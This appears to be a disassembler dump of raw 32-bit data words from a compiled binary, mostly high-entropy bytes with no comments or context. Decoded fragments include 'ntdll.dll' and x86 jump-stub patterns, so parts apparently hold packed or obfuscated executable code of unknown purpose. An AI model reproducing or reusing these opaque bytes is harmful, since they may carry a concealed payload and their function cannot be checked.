		dd 0F829B530h, 51DA53AEh, 4EEA1791h, 7E0A8F76h,	0BA315509h
		dd 0E04EB1F6h, 0BA8F7A2Ch, 477E0A8Fh, 63E41A93h, 0DCE50F84h
		dd 0BF8A620Eh, 691D7E09h, 3A6A9FC5h, 1A971010h,	0D1D488F6h
		dd 731F9C2Eh, 7E0A799Bh, 0DECA7A2Eh, 0C96D9217h, 7569F837h
		dd 548A09B8h, 9225DACDh, 0B561C9DEh, 7E0A79DDh,	0AA18BC70h
		dd 63CEF72Dh, 0AA95A88Ch, 45B77C86h, 4EB1F8B8h,	0F22FAF2Ah
		dd 3B74AB5h, 39ED5BA4h,	7B24126Dh, 36AD34B0h, 43702492h
		dd 1F863ACCh, 4FCA4EE0h, 0F16A9E8Fh, 5B33DF68h,	0EE7E0A14h
		dd 14C69E3Ah, 99597E0Ah, 9C4CF011h, 0BE66F817h,	62BF1F9Ah
		dd 0DCEC3845h, 0BE523C6Ch, 4520871Ah, 873A9D62h, 0FC91A220h
		dd 5FFB6299h, 0F394B06Ah, 29C3h, 91A25000h, 0D07C99FCh
		dd 1FD3A1FBh, 0D25BD488h, 0D26EA112h, 1FD3A1FAh, 52B5D98Dh
		dd 6045097Ch, 0F763C9Fh, 28DAh,	91A26300h, 0F37C99FCh
		dd 0D3A16F47h, 2A4E021Fh, 0A23005B1h, 37EF1FD3h, 45097CD4h
		dd 0E1129360h, 1A93BC4h, 7656B95Dh, 0B10B590Fh,	8231FD3h
		dd 0FFFFFCD2h, 0A1855991h, 40F61FD3h, 9A10D44Bh, 5D35D567h
		dd 9B1FD3A1h, 4B5FC21Ch, 8B43DB6h, 1FD3A130h, 31218DC3h
		dd 5F335DA1h, 5C2097BBh, 0D83FB649h, 1F9C2E5Bh,	95B9465Fh
		dd 898358F9h, 8559D8D9h, 3EA6E3B6h, 3D6A2A4Dh, 3D059EC2h
		dd 92000002h, 0D3A18459h, 7840F71Fh, 0D3A1F4CCh, 6B96101Fh
		dd 64587E32h, 0DB62F4B8h, 0CA53CC70h, 0BBF83F94h, 84A82948h
		dd 0F0AF2FE8h, 9710C415h, 0AF8A620Eh, 691D25F2h, 0AF6C44F0h
		dd 4BFF25F2h, 0BEECB027h, 7434B143h, 9139CB36h,	17E8BD6Dh
		dd 60480885h, 0D8CD7DA1h, 0D1758A1Bh, 2E4FE83Fh, 68E1857Ch
		dd 0DE02FDA8h, 9E74B965h, 0ABE11C0Fh, 8E47508Bh, 91CAEE17h
		dd 6D3376DDh, 0BC52FA16h, 0E7B9Dh, 0A1604C00h, 0C03F662Ah
		dd 0DC258549h, 0F708A165h, 17EABC80h, 939A54A0h, 0B377EE13h
		dd 0D4980F00h, 0F2B62DD4h, 0AD34AB5h, 7A0DE591h, 68A019AEh
		dd 9D6245F5h, 3983B40Bh, 0D3A1B58Dh, 0F094481Fh, 0BC27CB77h
		dd 1ED215F6h, 3CC5E5A5h, 58A901C5h, 6A9512C6h, 0D3B681D8h
		dd 0F40B9A5Ah, 9F0ABA62h, 226CE60h, 0CB770089h,	25F8BCF3h
		dd 12AED286h, 1C15C62Dh, 0D4BF26DAh, 91FA6C51h,	0DFADCFBh
		dd 0E1CB0000h, 0C0E5A920h, 0A604C83Fh, 8920E45Bh, 6B3BFF76h
		dd 19D31F96h, 0F86F9214h, 19907F34h, 37AE5355h,	54CB3473h
		dd 8E66128Bh, 2119AE78h, 624576E9h, 83B40B9Dh, 94E9950Eh
		dd 0E115F0B0h, 3C6B8821h, 0E58D1FC3h, 5BD488C1h, 64F60B9Bh
		dd 4051A43Ah, 0E3874D65h, 238448BFh, 8327DAD0h,	0A35E4A0Ah
		dd 96A1087Fh, 63CE7AF3h, 0E01C1690h, 6A2AB32Ch,	8830C23Dh
		dd 189014ECh, 0CFF3A72Ch, 6B149656h, 0F21FFE23h, 46B9EEE4h
		dd 0C4680CB4h, 0E021894Dh, 0F20D9A4Eh, 0AE5AE360h, 2C17C9D6h
		dd 3E91B569h, 0B39012F9h, 93969D1Ch, 0B55DEF20h, 48F46D11h
		dd 22355363h, 80F55C10h, 0BDE44BC4h, 0D360827h,	0A5070000h
		dd 8421E55Ch, 6A40047Bh, 4D5C2097h, 2F773BB2h, 550F5BD2h
		dd 34AB5650h, 55CC4370h, 73EA1791h, 9007F8AFh, 0CAA24EC7h
		dd 5D19AE77h
		dd 6245B225h, 83B40B9Dh, 0D985A502h, 1FD3A201h,	983CE094h
		dd 0AFCE731Fh, 457B15F0h, 0A9E7900Bh, 79F4F68h,	1BDF56FAh
		dd 7F8DF38Ah, 0FC8F80C9h, 9454E158h, 1CCCF01Fh,	0C34C678Eh
		dd 6CE58931h, 7204FBACh, 0B82FA6CAh, 870095A2h,	0FA1EE3C7h
		dd 0BAE8D581h, 0B16515F0h, 0BAAB7F1Fh, 921125F2h, 5BAAEF4Ch
		dd 70430974h, 0D0000000h, 0D9F6045h, 3AB34C59h,	8973E904h
		dd 0C7E2840Eh, 5AFEA638h, 0B9F0A436h, 0A500B446h, 0BB7CE35Ah
		dd 0A8B15DD6h, 1D15EFEBh, 0FDC50269h, 2AC0F036h, 0C670Bh
		dd 8D743800h, 0AC535216h, 0C8397135h, 0E31C8D51h, 3FEA86Ch
		dd 7F86408Ch, 9F63DA27h, 0C084FB14h, 0DEA219E8h, 0F6BF36C9h
		dd 76F9D17Dh, 548C19AEh, 9F6045E1h, 58F928h, 45820000h
		dd 0F0269F60h, 8BDAEB9Eh, 3A792983h, 0C81FB1D5h, 0F5A11A6Fh
		dd 15EFFDB0h, 7F42A95Dh, 0F6F036EFh, 0C064160h,	0D5D70000h
		dd 0B4F1B52Ch, 9A10D44Bh, 7D2CF067h, 5F470B82h,	25DF2BA2h
		dd 47B8620h, 259C7340h,	43BA4761h, 60D7287Fh, 9A721E97h
		dd 2D19AE76h, 624582F5h, 43E71891h, 55AAFDB1h, 0D70792C3h
		dd 94B81564h, 286B8F0h,	0EB450000h, 9FE39BDh, 0FDA0B9DAh
		dd 644FFFB8h, 0E28E07ABh, 15EF8829h, 8910ABEh, 0C8FBD37Fh
		dd 0DA8E25F1h, 0F1C8663Eh, 2145F925h, 32BBEE8Eh, 92E1169h
		dd 125F0B84h, 8F0FA65Dh, 45F249DBh, 8E17D750h, 7D2BDF71h
		dd 0A64AF284h, 2E52BDF6h, 3B6C2CB5h, 0A104A0C4h, 0E15CAD6h
		dd 0D3CA47D8h, 0FD218693h, 0A7A78EC4h, 0E3A4D523h, 0A106C63Fh
		dd 8423E75Eh, 8043147Bh, 28BEF3DFh, 0B3F09h, 659C1000h
		dd 847B2AEEh, 0A061490Dh, 0BB446529h, 0DB268044h, 575E1864h
		dd 773BB24Fh, 985CD33Ch, 0B67AF110h, 0CE970EF1h, 75D1A955h
		dd 2C6419AEh, 9F6045B9h, 0BE416626h, 40649B0Eh,	66FB31AEh
		dd 0CC9404F8h, 48EF4266h, 7320CC45h, 0F015F5CAh, 0DC8C8330h
		dd 1A9337CAh, 0FEAA595Ah, 25C97103h, 0C4C9EAAEh, 0C18D5BEDh
		dd 0A61FC320h, 0BB99711Dh, 782C25F7h, 38053C52h, 7CA01A5Ah
		dd 0F1A493EAh, 0CA53CC78h, 34E81C14h, 4BB8FBBBh, 6810A25Fh
		dd 0C96B43EFh, 4AFE2C16h, 69F72DA6h, 70CEED17h,	11E9950Eh
		dd 0A42C1766h, 9155CCF0h, 0A75BED22h, 4DB2F300h, 63F50A9Dh
		dd 0F5B017BBh, 50FA6BB6h, 0A7A9BBAh, 614B0000h,	406529A0h
		dd 268448BFh, 9A064DBh,	0EBBB7FF6h, 99539F16h, 78EF1294h
		dd 9910FFB4h, 0B72ED3D5h, 0D44BB4F3h, 0EE6920Bh, 0A119AE76h
		dd 23C3F669h, 1FD3A143h, 38CA376Fh, 49DB2684h, 0CA637B0Ah
		dd 4E21BD3Ch, 0D44D40F7h, 0F0A5AF28h, 0AF0E4415h, 5EB72BF5h
		dd 6A3AEC33h, 7E22B8A4h, 4A161DAh, 9E5ED7FBh, 0F17EF50Ch
		dd 2A807531h, 0F99D45D7h, 0BB582D5h, 0F2A5875Fh, 0FD02A325h
		dd 0D68AC36Bh, 120DB932h, 6F1C140Eh, 0E8651239h, 0BDE19EDBh
		dd 0CE57D084h, 13C14A22h, 0B029DD2Ch, 13C22C04h, 0E70BBF2Ch
		dd 6F9AE6Eh, 23DCCB8Fh,	685797BCh, 9DBC52FAh, 9C0h, 6FE61B91h
		dd 8E05FAABh, 0AA21E0CAh, 0C53CC3E6h, 0E55CA501h, 0D0D6DF99h
		dd 0BDF6BA31h, 9117DB52h, 7235F970h, 0D44D168Dh, 0AE745028h
		dd 38ABE319h, 0E85467Ch, 9E045E71h, 4A0ADE7Ah, 891E1FD3h
		dd 9F98FF76h, 0B35FCBDEh, 1FD349DBh, 7216BA6Eh,	387EC3F9h
		dd 2B25FDA9h, 4B81FD3h,	0DAAEFDEh, 27E770E9h, 49F1838Ch
		dd 0DC458925h, 3CF015F0h, 5CA503C3h, 0C92BADE3h, 56CF7A7h
		dd 2A66AE1h, 394E6DFFh,	0D7000009h, 870095A2h, 0F0BF22DBh
		dd 7103B715h, 0F2BEFDD1h, 0FAE46325h, 5129D55Eh, 0E425F2BEh
		dd 0D97D8424h, 5F5A1FB5h, 0AC730974h, 1, 6F47F37Ch, 21FD3A1h
		dd 2E7A2A4Eh, 8EC441D3h, 64E4CB60h, 0B27096A0h,	0A862B698h
		dd 0FA45478h, 0EDBA6E00h, 0CFD99912h, 0C87C0E32h, 1DAA21E0h
		dd 0F10E894h, 6DA31FD3h, 88E52365h, 64882CA5h, 0B201F4B4h
		dd 0D027B95Dh, 25AE2764h, 0FBAF4465h, 0A23E6206h, 1FD33912h
		dd 0BD4FE195h, 2781A03Eh, 99F63DAh, 0FAC666F8h,	201FD339h
		dd 966E1AA3h, 291FD339h, 8D65175h, 0FB728F19h, 72EBA094h
		dd 0E80CF3B2h, 8226E66Fh, 38CA3773h, 0B25AEC90h, 3A12F28Eh
		dd 2CB51FD3h, 0D339A880h, 387B3B1Fh, 0FD8F33D7h, 2CA56A49h
		dd 3AC7E3A3h, 8C6400A8h, 1F1FD339h, 13B7485Fh, 0FFB478EFh
		dd 0CD5FA204h, 3BEF8125h, 6F01936Ch, 8033EEF0h,	39360EBAh
		dd 15C91FD3h, 0D6C2F871h, 197A29Dh, 460A81A5h, 0EE11966Dh
		dd 53BB84Ah, 5FFBD27Fh,	26799DD0h, 57037C11h, 15EFD5EAh
		dd 43AB367h, 1088A9E8h,	4FC6EA28h, 5BA602C2h, 0C8A04CC9h
		dd 5B25F217h, 2FDF03A7h, 320AB684h, 0C525F217h,	34F46D11h
		dd 54FC8E71h, 0ED479E30h, 9F7B27A0h, 3A25F217h,	0E362F486h
		dd 768D26FBh, 0B029CD34h, 0BE436727h, 0F2174A22h, 529DD25h
		dd 26E9CA8Eh, 15FA3D94h, 0A3579DDBh, 1C953989h,	0F99EB70h
		dd 0D90F981Ch, 0CED2F148h, 5830CC30h, 0FE2C1131h, 89C42D8h
		dd 0BBF12A86h, 0ECDEA000h, 0B6660AE9h, 0D37B0DF4h, 0BFF4B82Fh
		dd 561FADCEh, 1182D2AAh, 8BB1652Ch, 9ADE5AFh, 0BACF0592h
		dd 0D249C089h, 0BE5A32DEh, 39ED2C10h, 0E7C17195h, 0A22CA31Ah
		dd 0FE870095h, 0A1F1C975h, 0D0841FD3h, 0A7DB10ACh, 0DF6815F0h
		dd 0DC78891Fh, 25F2A704h, 0AD3FE397h, 0DA53ACF9h, 698CC9A4h
		dd 385CC3A0h, 0F37C4AC1h, 0D3A16F47h, 2A4E021Fh, 0B8315CD7h
		dd 0A1AB832Fh, 8A3E1FD3h, 2157D466h, 9C3387B7h,	1CB8DCC1h
		dd 1FD31448h, 0EEFB31AEh, 5EB102F6h, 40FE24CCh,	782A66Ah
		dd 0F2C181D7h, 0C5699611h, 78C8A04Ch, 0A75B1FD3h, 95ACED83h
		dd 2741F094h, 0B8000000h, 84AB832Fh, 8A3E1FD3h,	60450366h
		dd 956D0D9Fh, 0D31FD3A1h, 0E978A54h, 36CA7AF1h,	561FD383h
		dd 0FFFF893Bh, 0BC7CC4FFh, 0BF9743F7h, 521FD3A1h, 0C068FA9Eh
		dd 0D4669910h, 4F58082Ch, 0E90137B0h, 0CD7691C4h, 7CEF5276h
		dd 0F115ECBCh, 467CF85Fh, 9AD11925h, 0B2E1A02Fh, 0C844E50Bh
		dd 7B53FF78h, 0E1FD312h, 50E3365Ah, 7B3BC43Dh, 5D35D12Eh
		dd 0F01FD312h, 7CB5183Ch, 8214EBBCh, 0C83FB6DAh, 94B06A5Fh
		dd 0AE5AE3F3h, 22D3A1D6h, 0F891B569h, 56h, 0FC91A285h
		dd 33F37C99h, 51F98B74h, 66F809A1h, 26FE9ABEh, 0B91FD3A2h
		dd 0F37CA205h, 0D3A16F47h, 2A4E021Fh, 60453EB1h, 0F9763C9Fh
		dd 3E05B0C3h, 94409BD7h, 1FD2BEBCh, 0D3F79B4Fh,	0EABC7C70h
		dd 82ACF095h, 7C2073D2h, 8E7136EAh, 8CB054FCh, 4071h, 91A2FA00h
		dd 0F37C99FCh, 0D3A16F47h, 2A4E021Fh, 0A22D05B1h, 0B8F21FD3h
		dd 26D21355h, 1FD3F74Eh, 4D072DE1h, 8632AB0Ch, 1FD492AEh
		dd 70E98D41h, 1AEA5E3Ah, 0F115F717h, 45097C8Eh,	763C9F60h
		dd 9C65450Fh, 0B9466323h, 8B630395h, 0A71FD3A1h, 0B76BFD02h
		dd 0EA7C0EF3h, 2CBA736Bh, 0BAF031ADh, 3A20D047h, 421FD3AFh
		dd 629F09C9h, 0F29B233Eh, 0D696FFFFh, 0A70A2ED1h, 289F6045h
		dd 923E76C1h, 1FD3A1BAh, 7CF5994Dh, 0F0B107D0h,	4FC87C15h
		dd 0D688D19h, 80A691A6h, 0E4283140h, 60F216F2h,	0F2DDECC0h
		dd 0BD35225h, 747C6930h, 0E8409h, 3BFB0000h, 5D059778h
		dd 1DAD639h, 63000000h,	14EBBC7Ch, 6CC55882h, 0C16E3355h
		dd 91A6F91Dh, 3AFA83FCh, 0C4E4946Bh, 0DF03AB3Dh, 0F087FA43h
		dd 386F2F15h, 698D35C7h, 36EA7C30h, 7885BB6Fh
		dd 69A4FA84h, 54CEA642h, 0AD6125F2h, 0D6D09009h, 6161D9A9h
		dd 1A52407h, 16EBBB6Fh,	1BE6C272h, 0BDF380F7h, 40B1C331h
		dd 0CADC8C15h, 0D9FDA537h, 0F279B03Dh, 0FF2B625h, 21D4D498h
		dd 0C43B6E87h, 42E68A32h, 0BC9440C9h, 4F25F279h, 0D7E5779Bh
		dd 19D9565Ah, 3AE2748Dh, 0DE439B16h, 0FCC037CAh, 32E654ABh
		dd 0E41C8A75h, 0FBAC7569h, 2B51B0F8h, 2A3C14BEh, 11A448D5h
		dd 0B01A5FAAh, 0D1B3F114h, 40000000h, 9AFD92A2h, 18F7BC7Ch
		dd 0FACF7BF4h, 0B91FD3A1h, 97C9E01h, 4506607Ah,	633A9D62h
		dd 0EABC7CFCh, 93A0F317h, 77E93F6h, 12EDBC7Ch, 1EB4D880h
		dd 0F394B02Bh, 4482h, 91A20F00h, 0F37C99FCh, 0D3A16F47h
		dd 2A4E021Fh, 0A22D05B1h, 0F7801FD3h, 0D3A2734Bh, 6246061Fh
		dd 0C1650D9Fh, 4DB0649Dh, 6045097Ch, 5BED1293h,	76AC0FB3h
		dd 58DA0Fh, 0C44D0000h,	0D3A14018h, 0FB1FD31Fh,	0FC91A298h
		dd 0BDF37C99h, 0DC07E36Bh, 7F659A4Bh, 67D25D83h, 4A7951FDh
		dd 580C1FD3h, 1CF490B4h, 6F1FD34Bh, 7608F9AFh, 4A754DF9h
		dd 54081FD3h, 87C68AB0h, 7CF242h, 0A41DD5DCh, 5F976F1Bh
		dd 762A1FD3h, 97CEF52h,	3C9F6045h, 26DA0F76h, 63FFFFFFh
		dd 249D6245h, 39E54564h, 1FD3A161h, 239C40F4h, 0D3A19F77h
		dd 5A7E321Fh, 6C9314C8h, 0E4A98EF5h, 0AD59E26Bh, 1FD3A1D5h
		dd 0F490B468h, 15F0A9DFh, 3FEAC6Ch, 592DCD5Fh, 6D25F2A8h
		dd 7E32C43Dh, 7F28D827h, 6B3AEE80h, 1F5A0294h, 81DF4E90h
		dd 1A5FDC02h, 0B3097441h, 48h, 0C33E6A2Ah, 0BC7C3C9Fh
		dd 9DF014EBh, 0ACD0759Ah, 6F3941A2h, 1A652CBh, 0AE15F001h
		dd 2BEB68FAh, 49F1837Ch, 0D1F51A99h, 0F2406135h, 9648C725h
		dd 75DDD4A5h, 0D0901909h, 0B58D29D8h, 4825F24Ch, 0D9D77094h
		dd 64000000h, 0B9D6245h, 20B24F57h, 32C43B6Ch, 5FD6297Eh
		dd 0D3A60FAFh, 936C3B1Fh, 0B04F581Ch, 0C62F7737h, 597D21E0h
		dd 1D8A4AC7h, 84A850E2h, 0A830631h, 0F0BA355Eh,	7FF6AA15h
		dd 34E069F2h, 25F2B85Ch, 0C79F3BEFh, 5A25F2B8h,	0A9812DA6h
		dd 3C25F2B8h, 26116488h, 2B61EA63h, 97644DE6h, 6501255Ah
		dd 1C14ED8Ah, 0A46CB1E7h, 81A07BEEh, 0F770245Dh, 7FAAE6Eh
		dd 8E7333E3h, 991ADF15h, 175F1520h, 0EEB87CF3h,	0E88DAC13h
		dd 0A238FA69h, 27F83h, 0A55C5000h, 0C43B6A2Eh, 0E021894Dh
		dd 0FB04A569h, 1BE6C084h, 979E58A4h, 0B77BF20Fh, 0D89C13FCh
		dd 0F6BA31D0h, 0ED74EB1h, 6E11E995h, 6CA419AEh,	1E6145F9h
		dd 0F5AB0B0Fh, 0D84FF3DDh, 0F56C9314h, 100A868h, 40A3C76Fh
		dd 0B5F495A2h, 812DA64Ah, 15F080DCh, 0A343D589h, 25F2C0CFh
		dd 832FB835h, 25F2C0ABh, 0EB668A3Eh, 5D7148F3h,	0F19C0974h
		dd 29000000h, 0B9D6245h, 20B24F57h, 0D3A5E080h,	8F9B0C1Fh
		dd 0D3A60BE3h, 46EA9E1Fh, 238242CFh, 29A24ADCh,	0D3A5A57Dh
		dd 6084381Fh, 7608F7B0h, 0FC75181Fh, 0FDF6B373h, 1CC456ABh
		dd 1A3EE678h, 0F0BA557Eh, 9F16CA15h, 118AFF38h,	14272565h
		dd 2992C81Ch, 2F86A5B9h, 0D99912B6h, 981135DAh,	0BA33CED8h
		dd 13B66784h, 4DD7645Bh, 43254BE0h, 0D64D71DBh,	66D9412h
		dd 0FA6813CDh, 8DD3F288h, 5E000001h, 783CB34Eh,	975BD22Dh
		dd 0B377EE13h, 0CE9209F6h, 66B229D8h, 4FDA9ACh,	25EAC98Dh
		dd 43BEEAAEh, 609F08CCh, 0FBA720E9h, 19AE6D23h,	450B7EB6h
		dd 471FCB61h, 0ED1FD3A1h, 0A85EAC1Ch, 55154E18h, 910AAE53h
		dd 0D3040DE5h, 48ECA01Fh, 0FBB44D1h, 1FD30337h,	42F216CAh
		dd 8CEF1865h, 0A93BC4E1h, 0EB74DB01h, 0D81BF39Fh, 0FAAE1FD2h
		dd 0C43BB256h, 17EABC7Ch, 79705B85h, 0B7F231EEh, 683FEF13h
		dd 6EE7288Bh, 0D2DEEAC2h, 25C97D1Fh, 5D561693h,	0C9DE8EB2h
		dd 0DF58BF36h, 0C8531AAh, 0A115EFE3h, 0F3B474EDh, 0D6D1950Ch
		dd 0F7409729h, 3DE12086h, 0FA3318C4h, 2CE01C14h, 6B2E40C5h
		dd 88A73DFAh, 0C8h, 77EE1399h, 960DF2B3h, 0B229D8D2h, 0CD44BBEEh
		dd 0ED649D09h, 0C8DEE7A1h, 0B5FEC239h, 891FE35Ah, 6A3D0178h
		dd 0DC551E95h, 0AE6B5830h, 40B3EB19h, 6F47F37Ch, 21FD3A1h
		dd 60D72A4Eh, 0F52BB42Dh, 7B20FA52h, 0D4D181F2h, 0CDF1992Bh
		dd 0F5F8B431h, 0B9D5115h, 36AF5057h, 0F82901ADh, 624525F7h
		dd 8CB0649Dh, 0A9565115h, 7FEC7717h, 0D9C29F6h,	0A85750D1h
		dd 0C53A6D31h, 0D52A7F33h, 7434B143h, 1BE6C033h, 0AB3DE189h
		dd 0AF605303h, 8ACE108Bh, 0A34FDBCAh, 41F87FCBh, 0E206AA5Eh
		dd 138A7532h, 2EA7584Fh, 8021F9A5h, 0C87441F8h,	41F87FF0h
		dd 0E296CF83h, 0F6887732h, 79982A4Eh, 8, 0EDBC7C02h, 39A0EE12h
		dd 89A6745h, 1AAC5354h,	2DBF4266h, 43D53A79h, 58EA178Fh
		dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh,	58786886h
		dd 14890000h, 81E28924h, 4C2h, 4EA8300h, 5C241487h, 162C68h
		dd 24348900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 0B850240Ch, 51D8091Eh, 8158C689h, 0FD122EF6h, 5D806857h
		dd 24890000h, 24048124h, 4, 8BA5259h, 1000000h,	8B3289CAh
		dd 0C4812414h, 4, 592434FFh, 8B04C483h,	89512434h, 4C181E1h
		dd 83000000h, 0C8704C1h, 63E95C24h, 7BFFFA45h, 0E8ACA4D3h
		dd 0B84E84E9h, 6253799h, 0C650C503h, 1F202585h,	25684706h
		dd 0FFCF3817h, 1F20D9B5h, 4D858D06h, 0FF061F39h, 8DD88BD0h
		dd 1F036585h, 4685006h,	0FF000001h, 2585C6D3h, 53061F20h
		dd 7F8BF68h, 0D9B5FF83h, 8D061F20h, 1F394D85h, 89D0FF06h
		dd 25191185h, 0F1BD8306h, 61F20h, 0B840Fh, 9D8B0000h, 61F2101h
		dd 5E9h, 0BB00h, 680000h, 8D000001h, 251915B5h,	0FF535606h
		dd 1F002195h, 15B58D06h, 3062519h, 1E9F0h, 804E0000h, 840F5C3Eh
		dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 1915858Dh,	0FF500625h
		dd 25191195h, 0E0FF5806h, 318F9338h, 7EB12ECFh,	3DE25C1Ah
		dd 13E8h, 5939FB00h, 75E2D203h,	0FA23D5F9h, 80491A83h
		dd 24384504h, 28896BBh,	0C0815802h, 6522h, 6F1BC681h, 0B6867ABh
		dd 66000019h, 5A9BE1BBh, 88BFE8Bh, 14E9h, 2AD32100h, 2A074A83h
		dd 0BE09ABAFh, 0EE917488h, 45236EF5h, 46E9816Dh, 51715DF8h
		dd 7E8h, 0FA95C00h, 17321BFh, 815F5BF8h, 2087CCF1h, 13E945h
		dd 0A33B0000h, 20698E36h, 11A38CC1h, 487115B1h,	0EB8C09B9h
		dd 0C1C1819Dh, 0F78BCDCh, 889D9B7h, 8153F860h, 672471D2h
		dd 81615A5Dh, 0C4928DE8h, 0CF81572Ah, 23FE98E3h, 89C0815Bh
		dd 0F2AC492h, 584h, 8505BF00h, 0EA836BA4h, 0F850F01h, 66000000h
		dd 34E9F38Bh, 5D000000h, 628DB270h, 7E889C7h, 16000000h
		dd 4E53849Ch, 0E9527385h, 0Eh, 97871FB7h, 248B9729h, 0A2782235h
		dd 5E5E9F2Ch, 0FFFF3DE9h, 15E0DFFh, 0E8121568h,	0Bh, 3CCA78FAh
		dd 0F0C6E29Dh, 57796477h, 0D73DBA60h, 8E0F3B69h, 0
		dd 0F5B5F61h, 82h, 58C38100h, 56000060h, 137ECBBEh, 0C02B5924h
		dd 0AA3CBF66h, 8B03148Bh, 0CEEA81F8h, 0F034C3Fh, 189h
		dd 0F281F900h, 2941A043h, 0C810Fh, 8D0F0000h, 6, 850Fh
		dd 0EA810000h, 6A0794B6h, 0CE8h, 8C0C4600h, 375F7F3Ch
		dd 0BEA9EDD4h, 14895E28h, 66F86003h, 0BF61CE8Bh, 35E8D0h
		dd 6602E883h, 508CD681h, 0DDBF4848h, 810B1709h,	0FFA060F8h
		dd 0F850FFFh, 0E9000000h, 18h, 0F859EC6Ah, 0FC12B395h
		dd 0F78B2A5Fh, 0FFFF7FE9h, 334170FFh, 58753B48h, 14E8h
		dd 1C4D4400h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch,	7E7AED37h
		dd 7AD6819Ch, 5F0EB4DAh, 37C82BBh, 0AC78115h, 5000005Dh
		dd 7A7B95Bh, 0E981490Bh, 490AF089h, 0CE9h, 0A1F4C700h
		dd 23A1ADE4h, 5607C66h,	6637FF64h, 0E8FBD381h, 7171BA58h
		dd 0C081005Bh, 643DB720h, 0C08105B2h, 5469C158h, 0C584C081h
		dd 0EF803FDEh, 570789EEh, 0FE9h, 4FBCBB00h, 207635C0h
		dd 4650FD94h, 46196DC7h, 4EF835Eh, 49F2B70Fh, 0FFB7850Fh
		dd 6660FFFFh, 80AF4CB8h, 0EB6199E0h, 0B61B9026h, 8EAFEC33h
		dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 57A3D25Dh
		dd 7D26FEh, 0
		dd 0E9000000h, 6EAh, 253CEE68h,	4208E906h, 0BE68FFFAh
		dd 0E906253Dh, 0FFFA41FEh, 253E5B68h, 41F4E906h, 2A68FFFAh
		dd 0E906253Fh, 0FFFA41EAh, 25400E68h, 41E0E906h, 0DC68FFFAh
		dd 0E9062540h, 0FFFA41D6h, 77EE1399h, 960DF2B3h, 0B229D8D2h
		dd 0CD44BBEEh, 0ED649D09h, 0C8DEE7A1h, 0B5FEC239h, 891FE35Ah
		dd 6A3D0178h, 0DC551E95h, 0AE665830h, 40B3EB19h, 43DAh
		dd 62456300h, 6117C51Bh, 38B1760Bh, 0D369B48Ch,	0EF93471Fh
		dd 0F5FEA95Dh, 32AB4FB0h, 6A25FDA9h, 4B81FD3h, 0E5B969E0h
		dd 0F91FD369h, 50D952AFh, 57E4DB1Ah, 710DC28Fh,	1FD2F799h
		dd 0D60FF0B5h, 1087FE22h, 727E95A2h, 71C8F630h,	11E9950Eh
		dd 0A41FD371h, 27D34CF0h, 15F05C46h, 88BE37EBh,	3D0A536Eh
		dd 85173BA1h, 0F20C11E5h, 0E6F87725h, 752A0455h, 262A909h
		dd 0EB360000h, 0B0E55282h, 7925AE37h, 1FD3A1A1h, 0C05C8034h
		dd 15F08207h, 4F27D35Ch, 0E225F2C1h, 0E6788722h, 3D769A3Eh
		dd 5156F689h, 0E461FF29h, 19C53E53h, 0E03E5538h, 409729DDh
		dd 3911BDF7h, 0CCF04095h, 72FB7418h, 8834F8B2h,	0F04095B0h
		dd 0C7EB8F43h, 62CFC82Bh, 33FF35E6h, 598737B6h,	0C478B1D5h
		dd 0A402C24Bh, 0FF23CB5Dh, 189B584Fh, 19BD65F7h, 37CAE0A0h
		dd 0CFD89C13h, 0FAA68624h, 0F6633D22h, 0CB5D01B5h, 0C3187F23h
		dd 4620A7CCh, 4A791B0h,	55570000h, 347135ACh, 1A9054CBh
		dd 0FDAC70E7h, 0DFC78B02h, 0A55FAB22h, 84FB06A0h, 0A51CF3C0h
		dd 0C33AC7E1h, 0E057A8FFh, 1AF29E17h, 0AD19AE66h, 62450275h
		dd 83B40B9Dh, 38E9950Eh, 0BD15F0B0h, 0F9749209h, 0A41D70C7h
		dd 0F913FF8h, 8D20D41Ch, 0AF4CC2EDh, 0CA76FFACh, 0C4AF8BF2h
		dd 8BC19945h, 0A054C4AFh, 3C8FB367h, 941D96FBh,	8B875F0Bh
		dd 661AC4AFh, 8B6941EDh, 48FCC4AFh, 77A78824h, 984CBACCh
		dd 0B54A5F1Fh, 0C53A6F23h, 146BFD21h, 0E5456223h, 0CEB76139h
		dd 9C40F4CAh, 0E95B6D76h, 11B51307h, 7A89EC98h,	8236C0F1h
		dd 955E4909h, 0D34CF011h, 0E41B8A4Ah, 360EAA52h, 0C9D0F1B9h
		dd 0B67AF115h, 4AA70EF1h, 0CB473641h, 3D71635h,	25870000h
		dd 4A165DCh, 0EAC084FBh, 0CDDCA017h, 0AFF7BB32h, 0D58FDB52h
		dd 0B42BD6D0h, 0D54CC3F0h, 0F36A9711h, 1087782Fh, 4A22CE47h
		dd 0DD19AE64h, 624532A5h, 588E0B9Dh, 4BBCA1BCh,	3285A9BAh
		dd 6B179005h, 15EFB9CEh, 0D940B76Bh, 29B22B5Eh,	0F1B9A57Dh
		dd 60843825h, 0B49A3BE7h, 8B3F1C14h, 0D5FCDC12h, 9A34587Ch
		dd 6A3DFD76h, 3EE21F89h, 5DA205C5h, 0A9FEC239h,	0CA6DC456h
		dd 99A24EC7h, 0CE223411h, 7FA7FB98h, 1E8CF150h,	5A951E3h
		dd 8DF4A8E1h, 0E44A141Ah, 3AF211A7h, 0EA000003h, 4C83FC2h
		dd 23E75EA1h, 3F037A87h, 5A1E956Ah, 0F23EB54Ch,	90713538h
		dd 0B15E5519h, 0CF32763Ah, 0EC139458h, 8733AC75h, 19AE63AFh
		dd 45970A42h, 9B249D62h, 0D3A217EFh, 0D2F6AA1Fh, 3B4EE940h
		dd 0B58D39C2h, 481FD3A1h, 4BF77094h, 15F0B232h,	0F9C13C7h
		dd 15A7584Fh, 0B32E496Dh, 0B7000001h, 0E25599EBh, 0D18A36AFh
		dd 6615F081h, 0E2A21FB2h, 3AB3DC4h, 78AF43DFh, 17200B0Dh
		dd 0E6C3F972h, 3E5F94B9h, 6038E45Dh, 0F31B3022h, 19A21B3Fh
		dd 230CE490h, 0EB9F1B30h, 15A62BC7h, 9F53114Dh,	0C81B60Dh
		dd 8F84E793h, 7D311771h, 9F624404h, 0C841650Dh,	0E9609F08h
		dd 0F20D9C5Ch, 0E494B860h, 68D53CC3h, 0E5F1B67Ah, 26B304Fh
		dd 911B0000h, 7035F970h, 5654188Fh, 397034ABh, 1B8B4FC6h
